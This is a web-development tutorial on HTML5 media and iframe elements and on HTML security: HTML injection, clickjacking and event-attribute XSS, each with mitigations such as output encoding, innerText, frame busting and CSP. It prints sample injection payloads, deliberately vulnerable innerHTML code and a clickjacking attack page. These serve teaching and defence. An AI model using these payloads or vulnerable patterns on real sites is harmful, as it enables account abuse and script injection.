Content between <audio> and </audio> tag will be shown by browsers who do not support audio
element.

Some of the attributes which are supported by the audio element are as follows:
Attribute Value Description
loop Boolean- any value sets it to true Loops audio indefinitely
autoplay Boolean- any value sets it to true Plays audio indefinitely
none-preloading
metadata- audio metadata is Specifies whether audio should be preloaded or
preload
downloaded not
auto- entire audio file is downloaded
muted Boolean- any value sets it to true Mutes audio

Embedded Elements – Video


Videos can be embedded into web pages using <video>…</video> tag. The <audio> tag has an
attribute 'src' which defines the location of the audio file. It also has an attribute 'controls' which
specifies whether to display the player controls.

1. <video src ="myVideo.mp4" controls="controls"></video>

Content between <video> and </video> tag will be shown by browsers who do not support the video
element.

Some of the attributes which are supported by video element are as follows:
Attribute Value Description
loop Boolean- any value sets it to true Loops audio indefinitely
autoplay Boolean- any value sets it to true Plays audio indefinitely
none-preloading
metadata- video metadata is
Specifies whether the video should be preloaded or
preload downloaded
not
auto- entire audio file i
s downloaded
height pixel Specifies the height of the video player
width pixel Specifies the width of the video player
Displays image until the first frame of the video is
poster URL of an image file
downloaded
muted Boolean- any value sets it to true Mutes audio
Embedded Elements – Source
Source Element:
All browsers do not support all audio/video formats. Therefore, the audio/video element allows you to
list multiple sources with the <source> element. The <source> element has an attribute 'type' which
specifies the type of the file.
The browser iterates through all sources one by one until it finds one which it can play. It should be
noted that while listing the audio/video formats, it should be in the order from most desirable to least
desirable to avoid the number of unnecessary iterations.
Also, it is suggested to use the <source> element within the audio/video element instead of the src
attribute.
1. <audio>
2. <source src="myaudio.ogg" type="audio/ogg">
3. <source src="myaudio.mp3" type="audio/mp3">
4. </audio>

Embedded Elements – Tryout


Create a file embedded_demo.html in your Visual Studio Code workspace as below.
Activities:
1. Remove the 'controls' attribute and observe the output.
2. Include <source> element in <audio> and <video> elements and observe the output.
3. Observe the alternative text appearing if it is failed to load the file.
Note: You can execute this tryout in your Visual Studio code IDE or any other editors.
You can download the needed artifacts from here.
embedded_demo.html

1. <!DOCTYPE html>
2. <html>
3. <body>
4. <h4>Embedding image, audio and video</h4>
5. <!-- embedding image into the web page -->
6. Sea View Image: <br/>
7. <img src="tropicalSea.jpg" alt="Tropical Sea Image" width="350" height="250"> <br>
<br>
8. <!-- embedding audio into the web page -->
9. Listen to some music: <br/>
10. <audio src="music.mp3" controls ="controls"></audio> <br/> <br>
11. Sea View Video: <br/>
12. <!-- embedding video into the web page -->
13. <video src="seaView.mp4" controls="controls" width="350" height="250"></video>
14. </body>
15. </html>

iframe element
We might have requirements to include documents, videos, interactive videos, or even other web
content into a web page directly from external sources.
The <iframe> element is used to meet the above requirement. Using the iframe element, contents from
external sources can be integrated anywhere on our web page
It is defined using <iframe>…</iframe> tag.

The below example demonstrates including a web page- myPage.html on clicking on the hyperlink.
Tryout - 1 : iframe Element
Problem Statement:
Create a web page called demo.html as below-mentioned.
Activity:
Change the value at the 'src' attribute to some valid link and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editors.
demo.html

1. <html>
2. <body>
3. <iframe src="https://owasp.org/"
4. width="1000" height="1000"></iframe>
5. </body>
6. </html>

Tryout - 2 : iframe Element


Problem Statement:
Create a web page called demo.html as below-mentioned.
Activity:
Change the value of 'href' attribute to some other link and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editors.
demo.html

1. <!DOCTYPE html>
2. <html>
3. <body>
4. <p>This demo loads the target of hyperlink into the same web page using iframe</p>
5. <a href="https://owasp.org/" target="myFrame">
6. Click here to load webpage content into iframe.
7. </a></br>
8. <iframe name="myFrame" width="600" height="400"></iframe>
9. </body>
10. </html>

Embedded Elements - Best Practices


Some of the best practices to be followed with embedded elements are listed below:
 Use meaningful descriptive text for the alt attribute.
 The src attribute should not be empty.
 Ensure the usage of sandbox attribute to the iframe to avoid security threats such as
clickjacking.
Let us discuss the sandbox attribute in detail.
Sandbox Attribute
This attribute helps the developer to apply extra restrictions for the content which can be embedded into
the iframe element.
Some of the scenarios where this attribute can be used are:

 To validate whether the content is populated from a unique origin or not.


 To block the form submission and script execution.
 APIs invocation can be disabled.
 Other browser context linking and usage of various plugins like <applet>, <embed> can be
prevented.
 Navigating to a Top-level browsing context can be avoided.
 Auto video/audio pre-load features can be restricted.
Example:

1. <iframe sandbox="">

The sandbox attribute with an empty value enables all the default restrictions automatically.
Also, the developer has been provided with different attribute values for disabling respective restrictions
based on their requirement of the application.
Now let us have a glance over some of the attribute values.
Sandbox Attribute – Values
Some possible values of the 'sandbox' attribute are shown below:
Value Description
(no value) Enables all restrictions
allow-forms Allows users to submit the form
allow-scripts Scripts execution would be enabled.
allow-same-origin iframe content would be considered as accessed from the same
origin
allow-popups Popups can be enabled.
allow-popups-to-escape-sandbox Popups can be opened in new windows without any sandbox
restrictions.
allow-orientation-lock The orientation of the Screen can be locked.
allow-pointer-lock Pointer Lock API can be accessed.
allow-presentation Session Presentation is enabled for the user.
allow-top-navigation iframe content can access its top-level browsing context.
allow-top-navigation-by-user- iframe content can access its top-level browsing context only
activation through user interaction.
For example, the below-given code demonstrates how to enable Form submission and Script execution
for xyz.html page.

1. <iframe src="xyz.htm" sandbox="allow-forms allow-scripts "></iframe>

Tryout : Sandbox
Securing iFrame element with sandbox attribute - Tryout
Problem Statement:
Create three web pages called Form.html, Submission.html, and demo.html as below-mentioned.
Activities:
1. Remove the sandbox attribute and try the form submission with some test username and
password.
2. Provide the value "allow-forms" for the sandbox attribute and try form submission.
Note: You can execute this tryout in your Visual Studio code IDE or any other editors.
Form.html:

1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4. <meta charset="UTF-8">
5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
6. <title>Document</title>
7. </head>
8. <body>
9. <h1>Login Form</h1>
10. <form action="Submission.html">
11. <label for="">Name:</label>
12. <input type="text"/> <br> <br>
13. <label for="">Password</label>
14. <input type="password"/> <br> <br>
15. <button type="submit">Submit</button>
16. </form>
17. </body>
18. </html>

Observe that the above form collects the name and password from the respective input fields. On form
submission, it redirects to another HTML file called Submission.html which is given below.
Submission.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Logged in!</h1>
</body>
</html>
Observe that Submission.html is a simple HTML file that loads into the screen on submission of the
form given in form.html
Now, we will try to integrate form.html into another webpage called demo.html using <iframe> as
below:

demo.html

<!DOCTYPE html>
<html>
<body>
<p>This is a demo to load an external html file containing a form. Sandbox attribute restricts
the user from form submission. Try removing sandbox attribute, provide some username and
password
and hit submission button
</p>
<iframe src="./form.html" width="1000" height="1000" sandbox=""></iframe>
</body>
</html>

Observe that, sandbox attribute restricts the web page from the form submission in the embedded web
content.

Exercise : Embedded Elements


Problem Statement:
Consider the Home page of Hussain's Shopping application.
Add media content in it as shown below:
Homepage.html

1. <!DOCTYPE html>
2.
3. <html>
4. <head>
5. <meta name="keywords" content="Online, Shopping" />
6. <title>Hussain's Shopping</title>
7. </head>
8.
9. <body>
10. <header>
11. <nav>
12. <a href="Login.html"> Login </a> |
13. <a href="Signup.html"> SignUp </a> |
14. <a href="TrackOrder.html"> Track order </a>
15. </nav>
16. <h1>Welcome to Hussain's Shopping</h1>
17. <nav>
18. <a href="#Clothing"> Clothing </a> |
19. <a href="#Media"> Media </a>
20. </nav>
21. </header>
22.
23. <article>
24. Hussain & Co very own one-stop solution for all your shopping needs
! <br/>
25. Dont believe us? Click on the offers and check it out for yourself !!
26.
27. <h2 id="Clothing"> Clothing </h2>
28. <!-- Add image element here -->
29.
30. <h2 id="Media"> Media </h2>
31. <!-- Add audio element here -->
32.
33. <br/>
34.
35. <!-- Add video element here -->
36.
37. </article>
38.
39. <footer>
40. <nav>
41. About Us | Privacy Policy | Contact Us | FAQ | Terms & Conditions
42. </nav>
43. Copyright &copy; 2018 | Giri
44. </footer>
45.
46. <aside>
47. Like and Connect with us FB Twitter g+
48. </aside>
49. </body>
50. </html>
Why HTML Security?
Let us now understand why we need to take care of vulnerabilities in HTML5.

We use HTML to create static web pages. HTML5 has introduced some new features which make web
pages richer. New features include new semantic elements like 'header', 'footer', etc., new attributes for
form elements like date, time, range, etc., new graphic elements like SVG and canvas, and new
multimedia elements like audio and video.

Web developers can use the new features in HTML5 for building hybrid applications that can run on
the web and mobile devices. Lots of data flow has to be handled in these applications, therefore
developers should take care of the attacks that are possible as well. For example, an attacker can steal
the data by inserting some wicked code through HTML forms which will be kept in the
database. Security flaws are possible if proper security measures are not taken when using HTML5
features like communication APIs, storage APIs, geolocation, sandboxed frames, offline applications,
etc.

Therefore there is a need to find the attacks possible in all-new HTML5 features and their preventive
measures to defend against those attacks.

What is HTML Security?

As web developers, we need to take care of writing preventive measures for all possible vulnerabilities
in web pages. As we use HTML for designing web pages, we should be aware of all possible
vulnerabilities in this language. Let us now see what are the security risks possible in HTML.

HTML Security

As HTML applications are web-based applications, developers should take proper measures to
safeguard the stored data and communications. An attacker can inject some malicious code via
Bluetooth/wifi/text messages for mobile-based apps or via advertisements/emails for web-based apps.
This malicious code can capture sensitive information and can expose it to the attacker or it can run
some undesired operations internally like sending false messages or purchasing a product with zero
amount etc.

The following is the list of a few vulnerabilities that are possible in HTML:

1. HTML Injection
2. Clickjacking
3. HTML5 attributes and events vulnerabilities
4. Web Storage Vulnerability
5. Reverse Tabnabbing

Let us now understand each vulnerability and its mitigation with examples.

HTML Injection
Sometimes users will observe some unexpected data getting rendered on a web page. This might be due
to a lack of proper validation for input and output on that page. So, a web developer should always
check if input and output are properly validated before getting rendered on a page as this can lead to
HTML injection attacks.
Let us now understand what is this attack and its consequences.
What is HTML Injection?
HTML Injection is one of the possible attacks in HTML5 apps. HTML Injection is an attack where an
attacker can inject malicious HTML code into a vulnerable web application. An attacker can send
malicious code through HTML input fields or website links. Malicious code can be simple HTML tags
that display some information on the page or a form replacing the original page etc., This kind of
vulnerability happens when user input is not properly sanitized or the output is not properly encoded.
How HTML Injection is Performed?

An attacker will first find the vulnerable parts of a web application by inspecting the source code in the
browser. Vulnerable parts may be HTML form fields or website links through which an attacker will
inject some malicious HTML code. There are many attributes or methods which can render data on an
HTML page. If malicious code is injected using innerHTML property and if the data is not properly
sanitized, then it will lead to this attack. document.write() method is another way to inject the malicious
code. It is used mostly for form input fields like comments box, registration forms, questionnaire forms,
etc., These kinds of elements are most vulnerable to HTML Injection attacks.

The main intention of this injection attack is to either change the website's appearance or to steal the
user's identity.

Example:
Following is the malicious HTML code an attacker injects through a website URL:

1. http://example.com/home.html?username=<img%20src='image1'%20onerror=alert('error')
>

Here an attacker is sending an image assigned to the username parameter embedded in a URL.
Following is the vulnerable code which doesn't validate or sanitize the data:

1. var position = location.href.indexOf("username=");


2. var user = location.href.substring(position+5);
3. document.getElementById("div1").innerHTML = "Hello, " + user;

This code is extracting the username position and fetching the value assigned to it. It displays the image
injected by an attacker in a div tag and runs some malicious script through it.
Following is an example of using the document.write() method:

1. var position = location.href.indexOf("username=");


2. var user = location.href.substring(position+5);

HTML Injection Types and its Mitigations


Types of HTML Injection
There are two types of HTML Injections:
1. Stored HTML Injection
In this injection, the malicious code injected by an attacker will get stored in the backend and will
get executed whenever a user makes a call to that functionality.
2. Reflected HTML Injection
In this injection, the malicious code will not get code stored in the webserver rather will be executed
every time the user responds to the malicious code.
How to prevent HTML injection?
HTML Injection will happen if data is not properly validated. So we need to do proper data validation
to prevent this attack. We need to check if data contains any HTML tags and then needs to be removed.
This is done differently in different languages or frameworks.
Below are a few mitigation techniques to prevent this attack:
1. Use safe Javascript methods like innerText in place of innerHTML
2. Code Sanitization: Removing illegal characters from input and output refers to HTML code
sanitization.
3. Output Encoding: Converting untrusted data into a safe form where data will be rendered to the
user instead of getting executed. It converts special characters in input and output to entities form so
that they cannot be executed. For example, < will be converted to &lt; etc.,
Let us now check out an example that demonstrates how the two types of injection attacks are arise.
Demo : Stored HTML Injection
Highlights
To understand stored HTML Injection and its mitigation.
Problem Statement
Assume that an attacker has injected some malicious HTML code into the server, now let us see how
this stored malicious code gets displayed from the back-end onto the web page. Here to make the code
simple, we are using the JSON file instead of the server and database.

Download the demo of Stored HTML injection from here.

Demo Steps
Attack
Step 1: Below is the JSON data that has injected HTML code in the second object in Line 9.

1. [
2. {
3. "id": 1,
4. "name": "Godzilla: King of the Monsters",
5. "rating": 4.2
6. },
7. {
8. "id": 1,
9. "name": "<h2>Men in Black: International</h2>",
10. "rating": 4
11. },
12. {
13. "id": 1,
14. "name": "The Secret Life of Pets 2",
15. "rating": 4
16. }
17. ]

Step 2: Below is the FilmyGossip.html file, to retrieve the data from JSON using ajax call.

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
7. <link rel="stylesheet" href="style.css">
8. <title>FilmyGossip</title>
9. <script>
10. $.get('data.json', function (data) {
11. $("#list").text('');
12. var content = '';
13. for (var i = 0; i < data.length; i++) {
14. content += '<li>' + data[i].name + '</li>';
15. }
16. $("#list").append(content);
17. });
18. </script>
19. </head>
20.
21. <body>
22. <h1 id="heading"> Welcome to FilmyGossip </h1>
23. <br>
24. <div id="container">
25. <h2 id="title">
26. <u>Latest Movies</u>
27. </h2>
28. <br>
29. <ul id="list"></ul>
30. </div>
31. <hr>
32. <footer>
33. <p>FilmyGossip
34. <span> &copy; 2019</span>
35. </p>
36. <p>
37. <u>Contact Us:</u>
38. </p>
39. <p>Mail Id: [email protected]</p>
40. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website **
41. </footer>
42. </body>
43. </html>

Line 9-18 the data is fetched from the data.json file using jQuery get method and gets appended to 'list'
id.
Step 3: Run the FilmyGossip.html file using any server. Here we have installed the Live Server
extension present in the Visual Studio Code.

As you observe, the second line has injected HTML code that got fetched from the JSON file.
Demo : Stored HTML Injection – Mitigation
Mitigation
Let us now see how to prevent this attack using output encoding. For this, we are using the encoder.js
library.
Step 4: Now observe the mitigation code in the FilimyGossip.html file under the mitigation folder

1. <script src="./encoder.js"></script>
2. <script>
3. $.get('data.json', function (data) {
4. $("#list").text('');
5. var content = '';
6. for (var i = 0; i < data.length; i++) {
7. let movie = Encoder.htmlEncode(data[i].name);
8. content += '<li>' + movie + '</li>';
9. }
10. $("#list").append(content);
11. });
12. </script>

In Line 7, data is encoded using htmlEncode() method.


Step 5: Observe the output after using output encoding. Encoded data is displayed instead of getting
executed.

Demo : Reflected HTML Injection


Highlights
To understand the reflected HTML injection attack and its mitigation.
Problem Statement
If an attacker injects any HTML code into a vulnerable website it should get reflected on the page.

Download the demo of Reflected HTML injection from here.


Demo Steps
Attack
Step 1: Below is the code of FilmyGossip.html

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-
awesome/4.7.0/css/font-awesome.min.css">
8. <title>FilmyGossip</title>
9. </head>
10.
11. <body>
12. <h1 id="heading"> Welcome to FilmyGossip </h1>
13. <div id="search">
14. <form method="GET" action="details.html">
15. <input type="text" placeholder="Search for a movie" name="movie">
16. <button type="submit">
17. <i class="fa fa-search"> </i>
18. </button>
19. </form>
20. </div>
21. <br>
22. <div id="container">
23. <h2 id="title">
24. <u>About FilmyGossip</u>
25. </h2>
26. <br>
27. <p>
28. FilmyGossip provides you the trendy updates and reviews of latest Movies. You can
register with us to get the feed in your
29. mail.
30. <br>
31. <button>Register</button>
32. </p>
33. </div>
34. <hr>
35. <footer>
36. <p>FilmyGossip
37. <span> &copy; 2019</span>
38. </p>
39. <p>
40. <u>Contact Us:</u>
41. </p>
42. <p>Mail Id: [email protected]</p>
43. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website
44. **
45. </footer>
46. </body>
47. </html>

In Lines 14-19, a form is created with an input field which takes the user input and navigates to the
details.html page
Step 2: Below is the details.html page

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <title>FilmyGossip</title>
8. </head>
9.
10. <body>
11. <h1 id="heading"> Welcome to FilmyGossip </h1>
12. <br>
13. <div id="container">
14. <h2 id="title">
15. <u>Movie Rating</u>
16. </h2><br>
17. <h3 id="movieDetails"></h3>
18. <h3>Rating: 5/5</h3>
19. </div>
20. <hr>
21. <footer>
22. <p>FilmyGossip
23. <span> &copy; 2019</span>
24. </p>
25. <p>
26. <u>Contact Us:</u>
27. </p>
28. <p>Mail Id: [email protected]</p>
29. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website **
30. </footer>
31. <script>
32. var position = document.URL.indexOf("movie=") + 6;
33. var name = "Movie Name: " +
decodeURIComponent(document.URL.substring(position)).replace(/\+/g,' ');
34. document.getElementById("movieDetails").innerHTML = name
35. </script>
36. </body>
37. </html>

In lines 31-35, the data is retrieved from the URL and inserted into the element containing
'movieDetails' Id
Step 3: Open the FilmyGossip.html page in a browser and inject an HTML tag in the search bar.
Change in the font size of the movie name can be observed as <h1> tag is injected into the web page.
Step 2: Below is the details.html page

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <title>FilmyGossip</title>
8. </head>
9.
10. <body>
11. <h1 id="heading"> Welcome to FilmyGossip </h1>
12. <br>
13. <div id="container">
14. <h2 id="title">
15. <u>Movie Rating</u>
16. </h2><br>
17. <h3 id="movieDetails"></h3>
18. <h3>Rating: 5/5</h3>
19. </div>
20. <hr>
21. <footer>
22. <p>FilmyGossip
23. <span> &copy; 2019</span>
24. </p>
25. <p>
26. <u>Contact Us:</u>
27. </p>
28. <p>Mail Id: [email protected]</p>
29. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website **
30. </footer>
31. <script>
32. var position = document.URL.indexOf("movie=") + 6;
33. var name = "Movie Name: " +
decodeURIComponent(document.URL.substring(position)).replace(/\+/g,' ');
34. document.getElementById("movieDetails").innerHTML = name
35. </script>
36. </body>
37. </html>
In lines 31-35, the data is retrieved from the URL and inserted into the element containing
'movieDetails' Id
Step 3: Open the FilmyGossip.html page in a browser and inject an HTML tag in the search bar.
Change in the font size of the movie name can be observed as <h1> tag is injected into the web page.

Mitigation
Let us see how to prevent this scenario using the innerText property.
Step 4: Below is the mitigation code where we have used innerText in place of innerHTML(Line 4) in
the details.html page under the mitigation folder.

1. <script>
2. var position = document.URL.indexOf("movie=") + 6;
3. var name = "Movie Name: " +
decodeURIComponent(document.URL.substring(position)).replace(/\+/g,' ');
4. document.getElementById("movieDetails").innerText = name;
5. </script>

Step 5: Open the FilmyGossip.html page in a browser and inject HTML in the search bar. Now
injected code gets displayed as a string.

Clickjacking
Introduction to Clickjacking
Let us now understand another attack called clickjacking and its consequences.
Hackers will have several ways to trick the user and make them click on something which they are not
supposed to. A common form of this attack involves mirroring a login form on a website. Users will
think that they are entering values in the actual HTML form but they are actually entering them in the
form fields that are overlaid on that web page. The data which the user enters will be sent directly to
an attacker's page. In this type of attack, hackers will usually target sensitive data like passwords, bank
account information, credit card information, etc.,
Below are some real-time scenarios of clickjacking attacks:
1. There was an attack on one of the popular browser plugins, where an attacker added a modified page
in an iframe and can trick a user into changing settings of the plugin to get access to the local system's
resources such as a microphone, camera, etc.
2. A popular social networking site was attacked by tricking users to click on a button that will make
them retweet the location of the malicious web page which will be propagated hugely.
Clickjacking is frequently used to hijack accounts for spamming purposes or navigate links to malicious
web pages on online social network websites.
What is Clickjacking?
It is an attack where an attacker uses low iframes with low opaqueness or transparent layers to trick
users into clicking on something somewhat diverse from what they actually see on the page. Thus an
attacker is hijacking clicks which will execute some malicious code and hence the name 'Clickjacking'.
It is also known as UI redressing or iframe overlay.
For example, on a social networking website, a clickjacking attack leads to an unauthorized user
spamming the entire network of your friends by sending some false messages.
How clickjacking is performed?
1. Attackers load a target web page inside a low opacity iframe and on top of that iframe, the attacker's
web page will be rendered with a clickable button or link.
2. When a user clicks on that button or link of the rendered web page, it triggers actions on the invisible
page. The invisible page might be a malicious web page or a legitimate web page, which the user did
not intend to visit.
3. The end user will have no idea that a click has been made on the invisible page and without the user's
knowledge actions are performed on the attacker's web page
So, a web developer should also take care of clicks on the web page so that they should not get redirected
to some malicious pages. Let us now see how to defend against this attack.
Clickjacking Mitigat
ion Techniques
There are two ways to prevent clickjacking:
1. Client-side methods: The most common method is to prevent the webpages from being displayed
within a frame which is known as frame-buster or frame-killer. Though this method is effective in a
few cases it is not considered a best practice as it can be easily bypassed.
Below is the implementation of frame-buster:

1. <script>
2. // frame busting
3. if (self == top) {
4. document.documentElement.style.visibility = 'visible';
5. } else {
6. top.location = self.location
7. }
8. function register() {
9. alert('Registered')
10. }
11. </script>

This code ensures that the current frame is the top-level window.
Clickjacking Mitigation Techniques - Server-side
2. Server-side methods: Security experts recommend server-side methods to be the most effective
methods to defend against clickjacking. Below are the two response headers to deal with this.
(i) Using X-Frame-Options response header.
(ii) Using Content Security Policy(CSP) response header.
X-Frame-Options:
It is a response header that is to be set as part of the HTTP response of a web page. It specifies whether
a browser should be permitted to show a web page inside a <frame> or <iframe> tag.
The below values can be set for the X-Frame-Options header:
(i) SAMEORIGIN – This choice permits the current page to be displayed in a frame on another page,
but only within the current domain.
(ii) DENY – This choice does not permit any domain to render the current page within a frame. This is
the most secure option to provide restriction.
(iii) ALLOW-FROM URI – allows the current page to be displayed in a frame, but only in a specific
URI – for example, www.example.com/frame-page.
Limitations of X-Frame-Options:
(i) The X-Frame-Options header should be kept as part of every HTTP response for a website on setting
the value as SAMEORIGIN.
(ii) X-Frame-Options doesn't work with multi-domain sites
(iii) Any one of the X-Frame-Options header values is allowed to be used on a web page. It is not likely
to display a page as a frame both on the current website and on the external website.
(iv) X-Frame-Options is deprecated in most of the current browsers.
So, now the latest defense mechanism for clickjacking is to use CSP.
Content-Security-Policy (CSP):
Content Security Policy is a standard to mitigate and detect numerous content injection attacks. It is an
HTTP response header that provides different directives that are used to limit how and from where
content can be loaded into a web application. A browser that is compatible with CSP will execute only
the scripts mentioned in the allowed list of domains.
To configure Content Security Policy, we need to set the "Content-Security-Policy" response header or
in the "<meta>" tag of HTML. Set the values to control the resources that the browser is allowed to load
for that particular page.
The policy can be specified as shown below:

1. Content-Security-Policy: policy

The policy can be set using different directives that define the policy for a certain resource type. One of
the directives "frame-ancestors" can be set to protect against clickjacking which denotes if a browser
should be allowed to embed a page in an <frame> or <iframe>.
Examples:

1. Content-Security-Policy: frame-ancestors 'none'

This doesn't allow any domain to embed a web page in a frame.

1. Content-Security-Policy: frame-ancestors 'self'

This allows only the current page to be embedded inside a frame.

1. Content-Security-Policy: frame-ancestors 'self' '\*.example.com' 'https://mywebsite.com';

This allows the current page, any page from the example.com domain, and only the mywebsite.com
page to be embedded in a frame.
It is recommended to set the CSP directives in the response header at the server configuration level as
it handles the entire application.
Note: If there is a requirement to use an iframe in the application, then use the sandbox attribute to
prevent clickjacking.
Demo : Clickjacking
Highlights:
To understand the Clickjacking attack and its mitigation.
Problem Statement:
Tricking the user for default registration by using a hidden iframe and mitigating it using the frame
busting technique.

Download the demo of the Clickjacking attack and mitigation from here.
Demo Steps:
Website
Step 1: Below is the code for the FilmyGossip.html file which is a vulnerable website.

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <link rel="stylesheet" href="style.css">
7. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-
awesome/4.7.0/css/font-awesome.min.css">
8. <title>FilmyGossip</title>
9. <script>
10. function register() {
11. alert('Registered')
12. }
13. </script>
14. </head>
15.
16. <body>
17. <h1 id="heading"> Welcome to FilmyGossip </h1>
18. <div id="search"><form method="GET" action="details.html">
19. <input type="text" placeholder="Search for a movie" name="movie"><button
type="submit"> <i class="fa fa-search"> </i></button></form></div>
20. <br>
21. <div id="container">
22. <h2 id="title">
23. <u>About FilmyGossip</u>
24. </h2><br>
25. <p>
26. FilmyGossip provides you the trendy updates and reviews of latest Movies. You can
register with us to get the feed in your
27. mail.
28. <br>
29. <button onclick="register()">Register</button>
30. </p>
31. </div>
32. <hr>
33. <footer>
34. <p>FilmyGossip
35. <span> &copy; 2019</span>
36. </p>
37. <p>
38. <u>Contact Us:</u>
39. </p>
40. <p>Mail Id: [email protected]</p>
41. <p id="footer">** Disclaimer: This demo is only for Educational purpose. Please do not
try this attack on any commercial website
42. **
43. </footer>
44. </body>
45. </html>

In line29, on the button click the register functionality is executed.

Step 2: Open the FilmyGossip.html file in a web browser and click on the 'Register' button to
understand its functionality.

Demo : Clickjacking – Attack


Attack
An attacker can misuse the functionality of the FilmyGossip website by injecting it into the iframe and
attracting users to register without their consent.
Step 3: Below is the code of an attack page (attack.html)

1. <!DOCTYPE html>
2. <html lang="en">
3.
4. <head>
5. <meta charset="UTF-8">
6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
7. <meta http-equiv="X-UA-Compatible" content="ie=edge">
8. <link rel="stylesheet" href="attack.css">
9. <title>Attack</title>
10. </head>
11. <body>
12. <div>
13. <h1>WIN IPHONE 7</h1>
14. <label> Hi lucky user !!! you are 100
15. <sup>th</sup> visitor to our site. </label>
16. <br><br><br>
17. <button>Click here !</button>
18. </div>
19. <iframe src="/apis/authContent/content-
store/Infosys/Infosys_Ltd/Public/lex_auth_01278151846919372871/web-
hosted/assets/FilmyGossip.html"></iframe>
20. </body>
21. </html>

In line20, the FilmyGossip.html page is injected into an iframe and it overlaps with the
attacker's website.
Step 4: In the attack.html page, When a user clicks the button 'Click here !', it will execute the
functionality of the 'FilmyGossip' registration button as it is overlapped behind the scenes.
The iframe can be hidden by changing the opacity to 0 in the attack.css file.

Demo : Clickjacking – Mitigation


Mitigation
Let us use the Frame busting/Frame Killing mitigation technique to prevent this attack.
Step 5: Below is the code snippet from the FilmyGossip.html file under the mitigation folder

1. <script>
2. if (self == top) {
3. document.documentElement.style.visibility = 'visible';
4. } else {
5. top.location = self.location;
6. }
7. function register() {
8. alert('Registered');
9. }
10. </script>

Lines 2-6 ensures that FilmyGossip.html will be the top-level window


Step 6: Now open the attack.html page in a browser and analyze the output.

When the attack.html page is opened it renders the FilmyGossip.html page.


Demo : Clickjacking mitigation using CSP
Highlights:
To understand the clickjacking mitigation using CSP.
Problem Statement:
Using server-side code to set the CSP header to prevent the FilmyGossip website from getting loaded
in an iframe.

Demo Steps
Step 1: Below is the server-side code using Express Framework (app.js)

1. var express = require('express');


2. var path = require('path');
3. var fs = require('fs');
4. var app = express();
5. const helmet = require('helmet');
6. app.use(helmet.contentSecurityPolicy({
7. directives: {
8. frameAncestors: ["'none'"]
9. }
10. }));
11. app.use(express.static(__dirname));
12. app.get('/', (req, res) => {
13. res.sendFile(path.join(__dirname, 'FilmyGossip.html'));
14. })
15. app.listen(3000);

In line6, contentSecurityPolicy() method of helmet middleware is used to set the frame-ancestors


directive.
Step 2: To execute the server-side use the below command
Step 3: Open attack.html file in a browser present under attack folder and analyze the output

Since the "frame-ancestor: none" directive is set, the attacker's website can not embed
FilmyGossip using an iframe
HTML5 Attributes & Events Vulnerabilities
HTML5 has few tags, attributes, and events that are prone to different attacks as they can execute
Javascript code. These will be vulnerable to XSS and CSRF attacks.
Below are a few examples of such attacks:
1. Malicious script injection via formaction attribute

1. <form id="form1" />


2. <button form="form1" formaction="javascript:alert(1)">Submit</button>

In the above code snippet, the malicious script can be injected in formaction attribute. To prevent this,
users should not be allowed to submit forms with form and formaction attributes or transform them into
non-working attributes.
2. Malicious script injection via an onfocus event

1. <input type="text" autofocus onfocus="alert('hacked')"/>

This will automatically get focus and then executes the script injected. To prevent this, markup elements
should not contain autofocus attributes.
3. Malicious script injection via an onerror event in the video-tag

1. <video src="/apis/authContent/content-
store/Infosys/Infosys_Ltd/Public/lex_auth_012782317766025216289/web-
hosted/assets/temp.mp3" onerror="alert('hacked')"></video>

This code will run the script injected if the given source file is not available. So, we should not use
event handlers in audio and video tags as these are prone to attacks.
Mitigation
To defend against these attacks, we should use HTML Sanitization as a mitigation technique. Now let
us understand what is HTML Sanitization.
HTML Sanitization provides protection from a few vulnerabilities like XSS(Cross-site scripting) by
replacing HTML tags with safe tags or HTML entities.
The tags such as <b>, <i>, <u>, <em>, and <strong>, which are used for changing fonts are often
allowed. The sanitization process removes advanced tags like <script> <embed>,<object> and <link>.
This process also removes potentially dangerous attributes like 'onclick' attribute in order to prevent
malicious code injection into the application.
Let us understand how to sanitize HTML data. The below table lists the entity names for some of the
HTML characters.
Entity names for some HTML characters
Input Character Encoded value
< &lt; or &#60;
> &gt; or &#62
" &quot; or &#34;
' &apos; or &#39;
& &amp; or &#38;
When a web browser finds these entities, they will not be executed. But instead, they will be
converted back to HTML tags and printed.
Consider the scenario that an attacker injects the below HTML code into a web page.

1. <a href="#" onmouseover="alert('hacked')">Avengers</a>

On using HTML sanitization, the response will be as below.


1. &lt;a href="#" onmouseover="alert('hacked')"&gt; Avengers &lt;/a&gt;

This code will not be executed instead of stored as plain text in the response.
There are many sanitizer libraries available to do this job. Some of the commonly used libraries are
DOMPurify, XSS, and XSS-filters.
Let us understand the usage of the DOMPurify library.
DOMPurify is used for sanitizing HTML code. It is written in JavaScript and works in all modern
